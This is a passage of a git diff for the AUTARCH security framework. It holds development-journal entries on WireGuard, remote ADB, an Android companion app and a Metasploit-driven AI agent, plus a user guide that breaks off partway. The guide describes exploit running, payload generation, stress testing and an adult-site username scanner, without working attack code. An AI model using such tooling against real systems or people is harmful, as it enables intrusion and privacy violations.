`_run_nmap()` | +| `modules/defender.py` | Added imports (`re`, `time`, `threading`, `datetime`), `[8]` menu entry, handler, `scan_monitor()`, `_monitor_with_tcpdump()`, `_counter_scan()` | + +--- + +## Session 15 - 2026-02-15: Phase 4.8 — WireGuard VPN + Remote ADB + +### Initial Request + +Integrate WireGuard VPN management from `/home/snake/wg_setec/` into AUTARCH. Two purposes: +1. VPN server management — create/manage WireGuard clients from AUTARCH dashboard +2. Remote ADB for Android — phone connects via WireGuard tunnel, AUTARCH runs ADB tools remotely + +Two connection methods over WireGuard tunnel: +- **ADB TCP/IP** — native ADB over network (`adb connect 10.1.0.X:5555`) +- **USB/IP** — Linux kernel protocol that exports USB devices over TCP via `vhci-hcd` module + +### Source Material + +`/home/snake/wg_setec/` — working Flask app (1,647 lines) with: +- `config.py` — WG paths, subnet (10.1.0.0/24), keys, ports +- `wg_manager.py` — key gen, peer add/remove, config gen, QR codes, status parsing +- `app.py` — Flask routes (dashboard, clients CRUD, settings) + +### Work Completed + +--- + +#### 1. `core/wireguard.py` — WireGuardManager (~500 lines) + +Singleton manager following `core/android_protect.py` pattern. + +##### Constructor +```python +self._wg_bin = find_tool('wg') +self._wg_quick = find_tool('wg-quick') +self._usbip_bin = find_tool('usbip') +self._data_dir = get_data_dir() / 'wireguard' +self._clients_file = self._data_dir / 'clients.json' +``` + +Config loaded from `autarch_settings.conf [wireguard]` section: +- `config_path`, `interface`, `subnet`, `server_address`, `listen_port`, `default_dns`, `default_allowed_ips` + +##### Subprocess Helpers +- `_run_wg(args)` — runs `wg` binary, returns `(stdout, stderr, rc)` +- `_run_wg_sudo(args)` — runs `sudo wg ...` for privileged commands +- `_run_cmd(cmd)` — arbitrary subprocess wrapper +- `_run_adb(args)` — runs adb binary via `find_tool('adb')` + +##### Server Management +- `is_available()` — checks if `wg` binary exists +- `get_server_status()` — parses `wg show wg0` for interface info, peer count +- `start_interface()` / `stop_interface()` / `restart_interface()` — via `sudo wg-quick up/down` + +##### Key Generation (adapted from wg_setec) +- `generate_keypair()` — `wg genkey` piped to `wg pubkey`, returns `(private, public)` +- `generate_preshared_key()` — `wg genpsk` + +##### Client CRUD +- `get_next_ip()` — increments last octet tracked in `data/wireguard/last_ip` +- `create_client(name, dns, allowed_ips)` — generates keys, assigns IP, adds to live WG + config file + JSON store +- `delete_client(client_id)` — removes from live WG + config + JSON +- `toggle_client(client_id, enabled)` — enable/disable peer (add/remove from live WG) +- `get_all_clients()` / `get_client(id)` — JSON store lookups +- `get_peer_status()` — parses `wg show` for per-peer handshake, transfer, endpoint + +##### Config File Manipulation +- `_add_peer_to_wg(pubkey, psk, ip)` — `sudo wg set` with preshared-key via `/dev/stdin` +- `_remove_peer_from_wg(pubkey)` — `sudo wg set ... remove` +- `_append_peer_to_config(...)` — appends `[Peer]` block via `sudo tee -a` +- `_remove_peer_from_config(pubkey)` — reads via `sudo cat`, removes block, writes via `sudo tee` +- `import_existing_peers()` — parses wg0.conf `[Peer]` blocks + `# Client:` comments, imports to JSON + +##### Client Config Generation +- `generate_client_config(client)` — builds `.conf` with `[Interface]` + `[Peer]` sections +- `generate_qr_code(config_text)` — QR code PNG bytes via `qrcode` + `Pillow` + +##### Remote ADB — TCP/IP +- `adb_connect(client_ip)` — `adb connect {ip}:5555` +- `adb_disconnect(client_ip)` — `adb disconnect {ip}:5555` +- `get_adb_remote_devices()` — filters `adb devices -l` for WG subnet IPs (10.1.0.*) +- `auto_connect_peers()` — scans active WG peers (handshake < 3min), tries ADB connect on each + +##### Remote ADB — USB/IP +- `usbip_available()` — checks for `usbip` binary +- `check_usbip_modules()` — `lsmod | grep vhci_hcd` +- `load_usbip_modules()` — `sudo modprobe vhci-hcd` +- `usbip_list_remote(ip)` — `sudo usbip list -r {ip}`, parses bus IDs and descriptions +- `usbip_attach(ip, busid)` — `sudo usbip attach -r {ip} -b {busid}` +- `usbip_detach(port)` — `sudo usbip detach -p {port}` +- `usbip_port_status()` — `sudo usbip port`, parses attached virtual USB devices +- `get_usbip_status()` — combined: available + modules loaded + active imports + port list + +##### UPnP Integration +- `refresh_upnp_mapping()` — reuses `core/upnp.get_upnp_manager()` to map port 51820/UDP + +##### Singleton +```python +_manager = None +def get_wireguard_manager(config=None): + # Loads config from autarch_settings.conf [wireguard] section + # Falls back to sensible defaults if section missing +``` + +--- + +#### 2. `modules/wireguard_manager.py` — CLI Module (~330 lines) + +Standard AUTARCH module: `CATEGORY = "defense"`, `run()` entry point. + +Menu with 18 numbered actions across 5 groups: +- Server (1-4): status, start, stop, restart +- Clients (10-15): list, create, view detail, delete, toggle, import +- Remote ADB (20-23): TCP/IP connect/disconnect, auto-connect, list devices +- USB/IP (30-35): status, load modules, list remote, attach, detach, list ports +- Config (40-42): generate config, show QR (terminal ASCII), refresh UPnP + +Helper methods: +- `_pick_client()` — numbered selection from client list +- `_pick_client_ip()` — input IP directly or select by number + +--- + +#### 3. `web/routes/wireguard.py` — Flask Blueprint (~200 lines) + +Blueprint: `wireguard_bp`, prefix `/wireguard/`, all routes `@login_required`. + +25 routes across 6 groups: + +| Group | Routes | Methods | +|-------|--------|---------| +| Page | `/` | GET → render wireguard.html | +| Server | `/server/status`, `start`, `stop`, `restart` | POST | +| Clients | `/clients/list`, `create`, ``, `/toggle`, `/delete`, `/config`, `/download`, `/qr`, `import` | POST/GET | +| ADB | `/adb/connect`, `disconnect`, `auto-connect`, `devices` | POST | +| USB/IP | `/usbip/status`, `load-modules`, `list-remote`, `attach`, `detach`, `ports` | POST | +| UPnP | `/upnp/refresh` | POST | + +Notable: `/clients//download` returns `.conf` file as attachment, `/clients//qr` returns PNG image. + +--- + +#### 4. `web/templates/wireguard.html` — Web UI (~470 lines) + +4-tab layout matching `android_protect.html` patterns. + +**Dashboard tab:** +- Status cards: interface running/stopped, endpoint, client count, USB/IP status +- Server controls: Start/Stop/Restart buttons +- Server info table: interface, status, public key, endpoint, listen port, peer count +- Peers table: name, IP, status dot (online/idle/offline), handshake, RX/TX + +**Clients tab:** +- Create form: name, DNS (optional), allowed IPs (optional) +- Clients table: name, IP, status, handshake, transfer, action buttons (View/Toggle/Delete) +- Client detail section: full info table + Show Config/Download .conf/QR Code buttons +- Config display with copy-to-clipboard + +**Remote ADB tab:** +- TCP/IP section: client IP dropdown, Connect/Disconnect/Auto-Connect buttons +- Connected ADB devices table: serial, state, model +- USB/IP section: module status cards, Load Modules button +- Remote USB devices: client IP dropdown + List Devices, results table with Attach buttons +- Attached ports table with Detach buttons + +**Settings tab:** +- Binary availability table (wg, usbip, vhci-hcd) +- Import Existing Peers button +- Refresh UPnP Mapping button + +JS functions (~25): `wgPost()` helper, then `wgServerStatus()`, `wgStartInterface()`, `wgRefreshPeers()`, `wgCreateClient()`, `wgViewClient()`, `wgDeleteClient()`, `wgAdbConnect()`, `wgUsbipAttach()`, etc. + +--- + +#### 5. Integration Changes + +**`web/app.py`:** +```python +from web.routes.wireguard import wireguard_bp +app.register_blueprint(wireguard_bp) +``` + +**`web/templates/base.html`:** +Added in System nav section after UPnP: +```html +
  • WireGuard
  • +``` + +**`autarch_settings.conf`:** +```ini +[wireguard] +enabled = true +config_path = /etc/wireguard/wg0.conf +interface = wg0 +subnet = 10.1.0.0/24 +server_address = 10.1.0.1 +listen_port = 51820 +default_dns = 1.1.1.1, 8.8.8.8 +default_allowed_ips = 0.0.0.0/0, ::/0 +``` + +--- + +### Verification + +``` +$ py_compile core/wireguard.py OK +$ py_compile modules/wireguard_manager.py OK +$ py_compile web/routes/wireguard.py OK +$ Flask URL map: 25 wireguard routes +$ WireGuardManager: wg=True, usbip=False, interface=wg0, subnet=10.1.0.0/24 +``` + +### Files Created/Modified + +| File | Action | Lines | Description | +|------|--------|-------|-------------| +| `core/wireguard.py` | Created | ~500 | WireGuardManager singleton | +| `modules/wireguard_manager.py` | Created | ~330 | CLI menu module (defense) | +| `web/routes/wireguard.py` | Created | ~200 | Flask blueprint, 25 routes | +| `web/templates/wireguard.html` | Created | ~470 | 4-tab web UI | +| `web/app.py` | Modified | +2 | Import + register wireguard_bp | +| `web/templates/base.html` | Modified | +1 | Nav link in System section | +| `autarch_settings.conf` | Modified | +9 | [wireguard] config section | +| `autarch_dev.md` | Updated | +10 | Phase 4.8, file counts | +| `devjournal.md` | Updated | +50 | Session 15 entry | + +--- + +## Session 16 - 2026-02-15: Archon Android Companion App (Phase 4.9) + +### Overview + +Created the Archon Android companion app framework in `autarch_companion/`. This is the phone-side app that pairs with AUTARCH's WireGuard VPN + Remote ADB system (Phase 4.8). + +**Name:** Archon — Greek ἄρχων (ruler/commander), etymological root of "autarch" (auto + archon = self-ruler) + +### Architecture + +``` +autarch_companion/ # 29 files total +├── build.gradle.kts # Root: AGP 8.2.2, Kotlin 1.9.22 +├── settings.gradle.kts # rootProject.name = "Archon" +├── gradle.properties # AndroidX, non-transitive R +├── gradle/wrapper/ # Gradle 8.5 +└── app/ + ├── build.gradle.kts # com.darkhal.archon, minSdk 26, targetSdk 34 + └── src/main/ + ├── AndroidManifest.xml # INTERNET, WIFI_STATE, NETWORK_STATE + ├── kotlin/com/darkhal/archon/ + │ ├── MainActivity.kt # NavHostFragment + BottomNavigationView + │ ├── ui/ + │ │ ├── DashboardFragment.kt # ADB/USB-IP controls, auto-restart watchdog + │ │ ├── LinksFragment.kt # 9-card grid → AUTARCH web UI + │ │ ├── BbsFragment.kt # WebView + @JavascriptInterface bridge + │ │ └── SettingsFragment.kt # Config form + connection test + │ ├── service/ + │ │ ├── AdbManager.kt # ADB TCP/IP, kill/restart, status + │ │ └── UsbIpManager.kt # usbipd control, device listing + │ └── util/ + │ ├── PrefsManager.kt # SharedPreferences wrapper + │ └── ShellExecutor.kt # Shell/root exec with timeout + ├── res/ + │ ├── layout/ # 5 XMLs (activity + 4 fragments) + │ ├── menu/bottom_nav.xml # 4 nav items + │ ├── navigation/nav_graph.xml + │ ├── values/ # colors, strings, themes + │ └── drawable/ic_archon.xml # Greek column vector icon + └── assets/bbs/ + ├── index.html # Terminal UI + ├── terminal.css # Green-on-black theme + └── veilid-bridge.js # VeilidBBS class + command system +``` + +### DashboardFragment — ADB & USB/IP Control + +Key controls: +- **ADB TCP/IP toggle**: `setprop service.adb.tcp.port 5555 && stop adbd && start adbd` +- **USB/IP export toggle**: `usbipd -D` to start USB/IP daemon +- **Kill ADB**: `stop adbd` +- **Restart ADB**: `stop adbd && start adbd` +- **Auto-restart watchdog**: Handler posts every 5s, checks `pidof adbd`, restarts if dead +- **WireGuard status**: reads `ip addr show wg0` to check tunnel state + +### BBS Terminal — Veilid Integration Strategy + +No official Kotlin/Android SDK for Veilid exists. Chose **veilid-wasm in WebView**: + +``` +BbsFragment.kt + └─ WebView + ├─ loads file:///android_asset/bbs/index.html + ├─ JS: VeilidBBS class (placeholder) + ├─ JS: command system (help, connect, status, about, clear, version) + └─ @JavascriptInterface: ArchonBridge + ├─ getServerAddress() → prefs BBS address + ├─ getAutarchUrl() → "http://10.1.0.1:8080" + ├─ getVeilidConfig() → bootstrap JSON + └─ log(msg) → Android logcat +``` + +When VPS BBS server is deployed: +1. Bundle `veilid-wasm` WASM module in assets +2. Load in WebView via ES module import +3. Initialize Veilid core with bootstrap config +4. Connect to BBS server via DHT key +5. Route messages through Veilid's onion-style network + +### Theme + +Dark hacker aesthetic matching AUTARCH web UI: +- Primary: `#00FF41` (terminal green) +- Background: `#0D0D0D` +- Surface: `#1A1A1A` +- All text: monospace font family +- Material Design 3 `Theme.Material3.Dark.NoActionBar` + +### Verification + +``` +$ All 12 XML files: valid (Python xml.etree.ElementTree parse OK) +$ File count: 29 files +$ Directory structure: matches plan exactly +``` + +### Files Created + +| File | Lines | Description | +|------|-------|-------------| +| `build.gradle.kts` (root) | 4 | AGP + Kotlin plugins | +| `settings.gradle.kts` | 12 | Project settings | +| `gradle.properties` | 4 | Gradle props | +| `gradle-wrapper.properties` | 5 | Gradle 8.5 wrapper | +| `app/build.gradle.kts` | 42 | App config + deps | +| `AndroidManifest.xml` | 22 | Permissions + activity | +| `MainActivity.kt` | 18 | Nav controller setup | +| `DashboardFragment.kt` | 185 | ADB/USB-IP/WG controls | +| `LinksFragment.kt` | 55 | AUTARCH link grid | +| `BbsFragment.kt` | 85 | WebView + JS bridge | +| `SettingsFragment.kt` | 120 | Config form + test | +| `AdbManager.kt` | 72 | ADB management | +| `UsbIpManager.kt` | 90 | USB/IP management | +| `PrefsManager.kt` | 80 | SharedPreferences | +| `ShellExecutor.kt` | 55 | Shell execution | +| `activity_main.xml` | 25 | Main layout | +| `fragment_dashboard.xml` | 230 | Dashboard UI | +| `fragment_links.xml` | 215 | Link grid UI | +| `fragment_bbs.xml` | 10 | WebView container | +| `fragment_settings.xml` | 180 | Settings form | +| `bottom_nav.xml` | 20 | Navigation menu | +| `nav_graph.xml` | 22 | Nav graph | +| `colors.xml` | 15 | Color palette | +| `strings.xml` | 45 | String resources | +| `themes.xml` | 15 | Material theme | +| `ic_archon.xml` | 35 | Vector icon | +| `index.html` | 25 | BBS terminal | +| `terminal.css` | 95 | Terminal theme | +| `veilid-bridge.js` | 175 | BBS + Veilid bridge | + +### Network Discovery (added same session) + +Added local network discovery so Archon can auto-find AUTARCH servers without manual IP configuration. + +**Server side — `core/discovery.py`** (~280 lines): +- `DiscoveryManager` singleton with mDNS + Bluetooth advertising +- mDNS: uses `zeroconf` package to advertise `_autarch._tcp.local.` service with IP, port, hostname +- Bluetooth: uses `hciconfig`/`bluetoothctl` CLI tools — sets adapter name to "AUTARCH", enables discoverable + pairable +- BT security enforced: AUTH + ENCRYPT + SSP must be enabled before advertising starts +- BT only activates if physical adapter present (`hci0` in `hciconfig` output) +- 3 API routes: `/settings/discovery/status`, `/start`, `/stop` +- Auto-starts on Flask app startup if `[discovery] enabled = true` + +**App side — `service/DiscoveryManager.kt`** (~320 lines): +- Three discovery methods, run in parallel: + 1. **NSD/mDNS** — `NsdManager.discoverServices("_autarch._tcp.")` → resolves to IP:port + 2. **Wi-Fi Direct** — `WifiP2pManager.discoverPeers()` → finds device named "AUTARCH" → connects → gets group owner IP + 3. **Bluetooth** — `BluetoothAdapter.startDiscovery()` → finds device named "AUTARCH" +- Listener callback pattern: `onServerFound`, `onDiscoveryStarted`, `onDiscoveryStopped`, `onDiscoveryError` +- Auto-timeout after 15 seconds +- Best server selection by method priority (MDNS > WIFI_DIRECT > BLUETOOTH) + +**UI Integration:** +- Dashboard: new "Server Discovery" card at top — status dot, method text, SCAN button +- Auto-discovers on launch, auto-configures PrefsManager with found IP/port +- Settings: "AUTO-DETECT SERVER" button runs discovery and fills in IP/port fields + +**Files created/modified:** + +| File | Action | Description | +|------|--------|-------------| +| `core/discovery.py` | Created | DiscoveryManager (mDNS + BT) | +| `autarch_companion/.../DiscoveryManager.kt` | Created | NSD + Wi-Fi Direct + BT | +| `autarch_companion/.../DashboardFragment.kt` | Modified | Discovery card + auto-scan | +| `autarch_companion/.../SettingsFragment.kt` | Modified | Auto-detect button | +| `autarch_companion/.../fragment_dashboard.xml` | Modified | Discovery card layout | +| `autarch_companion/.../fragment_settings.xml` | Modified | Auto-detect button | +| `autarch_companion/.../AndroidManifest.xml` | Modified | BT + Wi-Fi Direct permissions | +| `autarch_companion/.../strings.xml` | Modified | Discovery string resources | +| `web/app.py` | Modified | Start discovery on Flask boot | +| `web/routes/settings.py` | Modified | 3 discovery API routes | +| `autarch_settings.conf` | Modified | `[discovery]` config section | + +--- + +## Session 14 — 2026-02-28: MSF Web Runner, Agent Hal, Debug Console, LLM Settings Sub-Page + +### Phase 4.12 — MSF Web Module Execution + Agent Hal + Global AI Chat + +**Files Changed:** +- `core/agent.py` — added optional `step_callback` param to `Agent.run()` +- `web/routes/offense.py` — added `POST /offense/module/run` (SSE) + `POST /offense/module/stop` +- `web/templates/offense.html` — Run Module tabs (SSH/PortScan/OSDetect/Custom) + Agent Hal panel +- `web/routes/msf.py` (NEW) — MSF RPC console blueprint (`/msf/`) +- `web/templates/msf.html` (NEW) — terminal-style MSF console UI +- `web/routes/chat.py` (NEW) — `/api/chat` SSE, `/api/agent/run|stream|stop` endpoints +- `web/templates/base.html` — HAL global chat panel + MSF Console sidebar link +- `web/static/js/app.js` — HAL functions (halToggle/Send/Append/Scroll/Clear) + debug console functions +- `web/app.py` — registered msf_bp, chat_bp +- `web/static/css/style.css` — HAL panel CSS, debug panel CSS, stream utility classes + +**Key technical details:** +- Module execution uses `MSFInterface.run_module()` → SSE streams output lines then `{done, findings, open_ports}` +- Agent runs in background thread; steps accumulated in shared list polled by SSE stream every 150ms +- HAL chat panel streams LLM tokens via ReadableStream pump (not EventSource — POST required) +- `Agent.run()` step_callback overrides `self.on_step` for incremental streaming +- MSF console uses `run_console_command(cmd)` → `(ok, output)` — not `console_exec()` +- `escapeHtml()` is the correct global (not `escHtml()`) — bug found and fixed in offense.html + +### Phase 4.13 — Debug Console + +**Files Changed:** +- `web/routes/settings.py` — `_DebugBufferHandler`, `_ensure_debug_handler()`, 4 debug routes +- `web/templates/settings.html` — Debug Console section with enable checkbox + test buttons +- `web/templates/base.html` — floating debug popup with 5 filter mode checkboxes +- `web/static/js/app.js` — full debug JS (toggle, stream, filter, format, drag) +- `web/static/css/style.css` — debug panel dark terminal aesthetic + +**5 filter modes:** Warnings & Errors | Full Verbose | Full Debug + Symbols | Output Only | Show Everything + +### Phase 4.14 — WebUSB "Already In Use" Fix + +**File Changed:** `web/static/js/hardware-direct.js` +- `adbDisconnect()` now calls `await adbUsbDevice.close()` to release USB interface +- `adbConnect()` detects Windows "already in used/in use" errors, auto-retries once, shows actionable "run adb kill-server" message +- Separate Linux permission error path with udev rules hint + +### Phase 4.15 — LLM Settings Sub-Page + +**Files Changed:** +- `core/config.py` — added `get_openai_settings()` method (api_key, base_url, model, max_tokens, temperature, top_p, frequency_penalty, presence_penalty) +- `web/routes/settings.py` — added `GET /settings/llm`, `POST /settings/llm/scan-models`, updated `POST /settings/llm` for openai +- `web/templates/settings.html` — replaced LLM section with sub-menu card linking to `/settings/llm` +- `web/templates/llm_settings.html` (NEW) — 4-tab LLM config page + +**Local tab features:** +- Folder picker + Scan button → server-side scan for .gguf/.ggml/.bin files and safetensors model dirs +- SafeTensors checkbox toggles between llama.cpp (full quantization/tokenizer params) and transformers backends +- llama.cpp: n_ctx, n_threads, n_gpu_layers, n_batch, temperature, top_p, top_k, repeat_penalty, max_tokens, seed, rope_scaling_type, mirostat (0/1/2), flash_attn +- Transformers: device, torch_dtype, load_in_8bit/4bit, trust_remote_code, use_fast_tokenizer, padding_side, do_sample, num_beams, temperature, top_p, top_k, repetition_penalty, max_new_tokens + +**HuggingFace tab:** Token login + verify, model ID, provider selector (8 providers), custom endpoint, full generation params +**Claude tab:** API key + model dropdown (all Claude 4.x) + basic params +**OpenAI tab:** API key + base_url (custom endpoint support) + model + basic params + +--- + +## Session 15 — 2026-03-01 + +### Phase 4.16 — Hash Toolkit Sub-Page + +**Files Changed:** +- `web/routes/analyze.py` — added `import zlib`, `HASH_PATTERNS` list (~43 entries), `_identify_hash()` helper, 6 new routes +- `web/templates/hash_detection.html` (NEW) — 6-tab Hash Toolkit page +- `web/templates/base.html` — added Hash Toolkit sidebar sub-item under Analyze + +**New routes:** +- `GET /analyze/hash-detection` → renders hash_detection.html +- `POST /analyze/hash-detection/identify` → regex-based hash algorithm identification (hashid-style) +- `POST /analyze/hash-detection/file` → compute CRC32/MD5/SHA1/SHA256/SHA512 for a file +- `POST /analyze/hash-detection/text` → hash text with selectable algorithm (supports "all") +- `POST /analyze/hash-detection/mutate` → append bytes to file copy, show before/after hashes +- `POST /analyze/hash-detection/generate` → create dummy test files with configurable content types + +**HASH_PATTERNS coverage:** CRC16/32, MD2/4/5, NTLM, LM, MySQL 3.x/4.x+, SHA-1/224/256/384/512, SHA3-224/256/384/512, BLAKE2b/2s, Keccak-224/256/384/512, Whirlpool, Tiger-192, RIPEMD-160, bcrypt, Unix crypt ($1$/$5$/$6$), scrypt, Argon2, PBKDF2, Cisco Type 5/7/8/9, Django PBKDF2, WordPress/phpBB, Drupal, HMAC-MD5/SHA1/SHA256 + +**6 tabs in hash_detection.html:** +1. **Identify** — paste hash → regex match → algorithm candidates with hashcat modes + threat intel links (VirusTotal, Hybrid Analysis, MalwareBazaar, AlienVault OTX, Shodan) +2. **File Hash** — file path → CRC32/MD5/SHA1/SHA256/SHA512 digest output +3. **Text Hash** — textarea + algorithm dropdown → hash output (supports "all" for every digest) +4. **Mutate** — append random/null/custom bytes to file copy → before/after hash comparison +5. **Generate** — create dummy files with configurable content (random/zeros/ones/pattern/custom) → hash output +6. **Reference** — static table of hash types with lengths and hashcat modes + +**Sidebar pattern:** sub-item under Analyze with `padding-left:1.5rem;font-size:0.85rem` and `└` prefix, matching Legendary Creator under Simulate + +### Bugfix — `modules/analyze.py` magic import + +**File Changed:** `modules/analyze.py` +- Changed bare `import magic` (line 13) to `try: import magic / except ImportError: magic = None` +- Usage at lines 91-99 was already in try/except fallback — this just prevented the module from failing to load entirely + +### Bugfix — Debug Console server restart persistence + +**File Changed:** `web/static/js/app.js` +- `_initDebug()` now POSTs to `/settings/debug/toggle` to re-enable backend capture when localStorage indicates debug is enabled +- Root cause: `_debug_enabled` in `settings.py` resets to `False` on server restart, but client-side localStorage persisted `autarch_debug=1` — so the SSE stream started but no messages were captured + +### Bugfix — Android Protection Direct mode `'dict' object has no attribute 'strip'` + +**File Changed:** `web/templates/android_protect.html` +- `apDirect()` line 504: `HWDirect.adbShell(cmd)` returns `{stdout, stderr, exitCode, output}` object, not a string +- Was passing whole object into `raw` dict → Python `/parse` route called `.strip()` on dict values +- Fix: extract `result.stdout || result.output || ''` before storing in `raw` + +**Also hardened:** `web/routes/android_protect.py` +- `_serial()` now checks `request.form` (for FormData uploads like shield_install) and wraps in `str()` before `.strip()` + +--- + diff --git a/GUIDE.md b/GUIDE.md new file mode 100644 index 0000000..96463f9 --- /dev/null +++ b/GUIDE.md @@ -0,0 +1,588 @@ +# AUTARCH User Guide + +## Project Overview + +**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**. + +### What We Built + +AUTARCH is a modular Python security framework featuring: + +- **LLM Integration** - Local AI via llama.cpp for autonomous assistance +- **Autonomous Agent** - AI agent that can execute tools and complete tasks +- **Metasploit Integration** - Direct MSF RPC control from within the framework +- **Modular Architecture** - Plugin-based system for easy extension +- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate + +--- + +## Project Structure + +``` +dh_framework/ +├── autarch.py # Main entry point +├── autarch_settings.conf # Configuration file +├── custom_adultsites.json # Custom adult sites storage +├── custom_sites.inf # Bulk import file +├── DEVLOG.md # Development log +├── GUIDE.md # This guide +│ +├── core/ # Core framework modules +│ ├── __init__.py +│ ├── agent.py # Autonomous AI agent +│ ├── banner.py # ASCII banner and colors +│ ├── config.py # Configuration handler +│ ├── llm.py # LLM wrapper (llama-cpp-python) +│ ├── menu.py # Main menu system +│ ├── msf.py # Metasploit RPC client +│ └── tools.py # Agent tool registry +│ +└── modules/ # User-facing modules + ├── __init__.py + ├── setup.py # First-time setup wizard + ├── chat.py # Interactive LLM chat (core) + ├── agent.py # Agent interface (core) + ├── msf.py # Metasploit interface (offense) + ├── defender.py # System hardening (defense) + ├── counter.py # Threat detection (counter) + ├── analyze.py # Forensics tools (analyze) + ├── recon.py # OSINT reconnaissance (osint) + ├── adultscan.py # Adult site scanner (osint) + └── simulate.py # Attack simulation (simulate) +``` + +--- + +## Installation & Setup + +### Requirements + +- Python 3.8+ +- llama-cpp-python (pre-installed) +- A GGUF model file for LLM features +- Metasploit Framework (optional, for MSF features) + +### First Run + +```bash +cd /home/snake/dh_framework +python autarch.py +``` + +On first run, the setup wizard automatically launches with options: +1. **Configure LLM** - Set up model for chat & agent features +2. **Skip Setup** - Use without LLM (most modules still work) + +### Running Without LLM + +Many modules work without an LLM configured: + +```bash +# Skip setup on first run +python autarch.py --skip-setup +``` + +**Modules that work without LLM:** +- defender (Defense) - System hardening checks +- counter (Counter) - Threat detection +- analyze (Analyze) - File forensics +- recon (OSINT) - Email, username, domain lookup +- adultscan (OSINT) - Adult site scanner +- simulate (Simulate) - Port scan, payloads +- msf (Offense) - Metasploit interface + +**Modules that require LLM:** +- chat - Interactive LLM chat +- agent - Autonomous AI agent + +You can configure LLM later with `python autarch.py --setup` + +--- + +## Command Line Interface + +### Basic Usage + +```bash +python autarch.py [OPTIONS] [COMMAND] +``` + +### Options + +| Option | Description | +|--------|-------------| +| `-h, --help` | Show help message and exit | +| `-v, --version` | Show version information | +| `-c, --config FILE` | Use alternate config file | +| `--skip-setup` | Skip first-time setup (run without LLM) | +| `-m, --module NAME` | Run a specific module directly | +| `-l, --list` | List all available modules | +| `--setup` | Force run the setup wizard | +| `--no-banner` | Suppress the ASCII banner | +| `-q, --quiet` | Minimal output mode | + +### Commands + +| Command | Description | +|---------|-------------| +| `chat` | Start interactive LLM chat | +| `agent` | Start the autonomous agent | +| `scan ` | Quick port scan | +| `osint ` | Quick username OSINT | + +### Examples + +```bash +# Show help +python autarch.py --help + +# Run a specific module +python autarch.py -m chat +python autarch.py -m adultscan + +# List all modules +python autarch.py --list + +# Quick OSINT scan +python autarch.py osint targetuser + +# Re-run setup +python autarch.py --setup +``` + +--- + +## Main Menu Navigation + +### Menu Structure + +``` + Main Menu + ────────────────────────────────────────────────── + + [1] Defense - Defensive security tools + [2] Offense - Penetration testing + [3] Counter - Counter-intelligence + [4] Analyze - Analysis & forensics + [5] OSINT - Open source intelligence + [6] Simulate - Attack simulation + + [99] Settings + [98] Exit +``` + +### Category Details + +#### [1] Defense +System hardening and defensive security: +- Full Security Audit +- Firewall Check +- SSH Hardening +- Open Ports Scan +- User Security Check +- File Permissions Audit +- Service Audit + +#### [2] Offense +Penetration testing with Metasploit: +- Search Modules +- Use/Configure Modules +- Run Exploits +- Manage Sessions +- Console Commands +- Quick Scanners + +#### [3] Counter +Counter-intelligence and threat hunting: +- Full Threat Scan +- Suspicious Process Detection +- Network Analysis +- Login Anomalies +- File Integrity Monitoring +- Scheduled Task Audit +- Rootkit Detection + +#### [4] Analyze +Forensics and file analysis: +- File Analysis (metadata, hashes, type) +- String Extraction +- Hash Lookup (VirusTotal, Hybrid Analysis) +- Log Analysis +- Hex Dump Viewer +- File Comparison + +#### [5] OSINT +Open source intelligence gathering: +- **recon.py** - Email, username, phone, domain, IP lookup +- **adultscan.py** - Adult site username scanner + +#### [6] Simulate +Attack simulation and red team: +- Password Audit +- Port Scanner +- Banner Grabber +- Payload Generator (XSS, SQLi, etc.) +- Network Stress Test + +--- + +## Module Reference + +### Core Modules + +#### chat.py - Interactive Chat +``` +Category: core +Commands: + /help - Show available commands + /clear - Clear conversation history + /history - Show conversation history + /info - Show model information + /system - Set system prompt + /temp - Set temperature + /tokens - Set max tokens + /stream - Toggle streaming + /exit - Exit chat +``` + +#### agent.py - Autonomous Agent +``` +Category: core +Commands: + tools - Show available tools + exit - Return to main menu + help - Show help + +Available Tools: + shell - Execute shell commands + read_file - Read file contents + write_file - Write to files + list_dir - List directory contents + search_files - Glob pattern search + search_content - Content search (grep) + task_complete - Signal completion + ask_user - Request user input + msf_* - Metasploit tools +``` + +### OSINT Modules + +#### recon.py - OSINT Reconnaissance +``` +Category: osint +Version: 2.0 + +Menu: + Email + [1] Email Lookup + [2] Email Permutator + + Username + [3] Username Lookup (17+ platforms) + [4] Social Analyzer integration + + Phone + [5] Phone Number Lookup + + Domain/IP + [6] Domain Recon + [7] IP Address Lookup + [8] Subdomain Enumeration + [9] Technology Detection +``` + +#### adultscan.py - Adult Site Scanner +``` +Category: osint +Version: 1.3 + +Menu: + Scan Categories: + [1] Full Scan (all categories) + [2] Fanfiction & Story Sites + [3] Art & Creative Sites + [4] Video & Streaming Sites + [5] Forums & Communities + [6] Dating & Social Sites + [7] Gaming Related Sites + [8] Custom Sites Only + [9] Custom Category Selection + + Site Management: + [A] Add Custom Site (manual) + [D] Auto-Detect Site Pattern + [B] Bulk Import from File + [M] Manage Custom Sites + [L] List All Sites + +Sites Database: 50+ built-in sites +Categories: fanfiction, art, video, forums, dating, gaming, custom +``` + +##### Adding Custom Sites + +**Manual Add [A]:** +``` +Site name: MySite +URL pattern (use * for username): mysite.com/user/* +Detection Method: [1] Status code +``` + +**Auto-Detect [D]:** +``` +Domain: example.com +Test username: knownuser +(System probes 17 common patterns) +``` + +**Bulk Import [B]:** + +1. Edit `custom_sites.inf`: +``` +# One domain per line +site1.com +site2.net +site3.org +``` + +2. Run Bulk Import and provide test username +3. System auto-detects patterns for each domain + +--- + +## Configuration + +### Config File: autarch_settings.conf + +```ini +[llama] +model_path = /path/to/model.gguf +n_ctx = 4096 +n_threads = 4 +n_gpu_layers = 0 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 2048 +seed = -1 + +[autarch] +first_run = false +modules_path = modules +verbose = false + +[msf] +host = 127.0.0.1 +port = 55553 +username = msf +password = +ssl = true +``` + +### LLM Settings + +| Setting | Default | Description | +|---------|---------|-------------| +| model_path | (required) | Path to GGUF model file | +| n_ctx | 4096 | Context window size | +| n_threads | 4 | CPU threads for inference | +| n_gpu_layers | 0 | Layers to offload to GPU | +| temperature | 0.7 | Sampling temperature (0.0-2.0) | +| top_p | 0.9 | Nucleus sampling threshold | +| top_k | 40 | Top-K sampling | +| repeat_penalty | 1.1 | Repetition penalty | +| max_tokens | 2048 | Maximum response length | +| seed | -1 | Random seed (-1 = random) | + +### Metasploit Settings + +| Setting | Default | Description | +|---------|---------|-------------| +| host 